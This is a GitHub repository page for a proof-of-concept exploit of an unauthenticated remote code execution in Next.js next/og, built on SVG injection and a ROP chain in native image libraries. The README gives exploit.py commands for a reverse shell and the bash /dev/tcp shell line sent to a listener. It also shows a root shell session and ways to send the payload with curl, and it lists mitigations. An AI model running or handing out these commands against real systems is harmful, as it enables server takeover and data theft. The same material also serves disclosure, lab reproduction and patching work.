← Back
EQSTLab

EQSTLab/CVE-2026-94545

Next.js RCE

View on GitHub ↗
Stars
41
Forks
11
Watchers
41
Open issues
1
Contributors
1
Language
Python
License
—
Default branch
main
Created Sep 29, 2026Updated Sep 29, 2026

Star growth

Today—
This week—
This month—

Star history will appear here once this repo has been tracked for a couple of days.

README

CVE-2026-94545 Next.js next/og Unauthenticated RCE

★ CVE-2026-94545 Next.js next/og SVG injection to native RCE ★

PoC.Video.mp4

Overview

next/og builds Open Graph images by rendering JSX to an SVG with Satori and then rasterizing that SVG. Satori writes user-supplied text into the SVG without escaping it (CWE-116), so a request can close the surrounding element and inject its own SVG markup. When the route runs on the Node.js runtime with sharp installed, that SVG is rasterized by native libraries (libvips, librsvg, libxml2) rather than the sandboxed wasm renderer. A payload built from an XInclude reference and nested DTD entities corrupts memory inside that native parser. The official Node.js binary is non-PIE, so its code and GOT are not randomized and a fixed ROP chain reaches execve without an address leak. One unauthenticated request to an OG-image route is enough to run commands as the server process.


Affected Versions

Category Version
Vulnerable Next.js 16.2.0 – 16.3.5 (Node runtime, sharp present), Satori >=0.0.27 <0.33.5
Patched Next.js 16.3.6 / Satori 0.33.5 or later

Only the Node.js runtime path is affected. With export const runtime = 'edge', or an install without sharp, the image is drawn by the sandboxed resvg-wasm renderer and the bug does not lead to code execution.


Impact

  • Unauthenticated code execution as the Next.js server process. Any route that passes request data into ImageResponse is a sink.
  • The exploit is blind. A successful execve replaces the worker, so the HTTP request simply closes and the result has to come back another way, such as a reverse shell or a command that phones home.
  • The payload is stable. Because the Node binary is non-PIE, the gadget addresses are the same on every host and reboot for a given Node build, so no per-target leak or bruteforce is needed.
  • A successful hit crashes the worker. The node process is replaced by the injected command, so the server stops responding until it is restarted.

Environment

A minimal Next.js app that reproduces the vulnerable configuration. The route at /api/og renders an ImageResponse on the Node runtime, and sharp is installed so the native rasterizer is used. The image pins the exact stack the ROP chain depends on (Node 24.20.0 non-PIE, Next 16.3.5, sharp 0.35.4 with libvips 8.18.6, librsvg 2.62.91, libxml2 2.15.3). The first build pulls Node, installs npm dependencies, and runs next build, which takes a few minutes.

docker build -t cve-2026-94545 .
docker run -d --name cve-2026-94545 -p 3000:3000 cve-2026-94545

# sanity check: a benign render returns 200
curl -s -o /dev/null -w "%{http_code}\n" "http://127.0.0.1:3000/api/og?value=hello"
Precondition State in this lab
Next.js 16.2.0 – 16.3.5 on the Node runtime Next 16.3.5, runtime = 'nodejs'
sharp installed, so the native librsvg/libxml2 path is used sharp 0.35.4, libvips 8.18.6, rsvg 2.62.91, xml2 2.15.3
Non-PIE Node binary for a stable ROP base official Node v24.20.0 linux-x64 (SHA-verified)
OG-image route reachable without auth GET and POST /api/og, request text goes into an SVG <title>
Outbound path available for a reverse shell bash and /dev/tcp are present

PoC

The vulnerable route is POST /api/og. It takes the request body and places it in an SVG <title> before rasterizing. exploit.py builds that SVG for a chosen command, encodes the ROP chain into a <path>, and sends it to the route.

The simplest run opens a reverse shell. Give it the target and a listener address; it starts nc for you, fires the request, and hands you the shell.

python3 exploit.py --target 172.17.0.3:3000 --lhost 172.17.0.4:4444

The payload is calibrated to the stack listed in Environment, so run it against this image or a host with the same Node and sharp build. A hit replaces the node process with your command, which means the HTTP request closes and the service stops answering until the container is restarted.

[*] Command: bash -c 'bash -i>&/dev/tcp/172.17.0.4/4444 0>&1' (49 bytes)
[*] payload bytes=24693 sha256=...
[*] Listener: nc -lvnp 4444
[*] POST http://172.17.0.3:3000/api/og (24693 bytes)
[*] Target closed connection (expected)
connect to [172.17.0.4] from (UNKNOWN) [172.17.0.3] 43118
id
uid=0(root) gid=0(root) groups=0(root)
uname -a
Linux 6e2b1c4a7f9d 5.15.0 #1 SMP x86_64 GNU/Linux

The reverse shell runs as the server process, which confirms code execution from a single unauthenticated request. To run one command without a listener, pass it directly; note that the output does not return over HTTP, so the command has to send anything you want to see out of band.

# single command, no listener
python3 exploit.py --target 172.17.0.3:3000 --command "id"

# only build the payload, then send it yourself
python3 exploit.py --target 172.17.0.3:3000 --command "id" --output payload.bin
curl --data-binary @payload.bin -H "Content-Type: text/plain" http://172.17.0.3:3000/api/og

Mitigation

  • Upgrade to Next.js 16.3.6 / Satori 0.33.5 or later, which escapes SVG text when it is serialized and closes the injection.
  • If you cannot upgrade yet, move next/og routes to export const runtime = 'edge' so the sandboxed wasm renderer is used, or remove sharp so the native path is not reached, and keep unsanitized user input out of ImageResponse children.
  • Put OG-image routes behind authentication or an allowlist, and restrict the server's outbound traffic to make blind exfil harder.
  • After patching, treat an internet-reachable instance as compromised: rotate any secrets the app process could read and check for persistence.

Analysis

  • KR:
  • EN: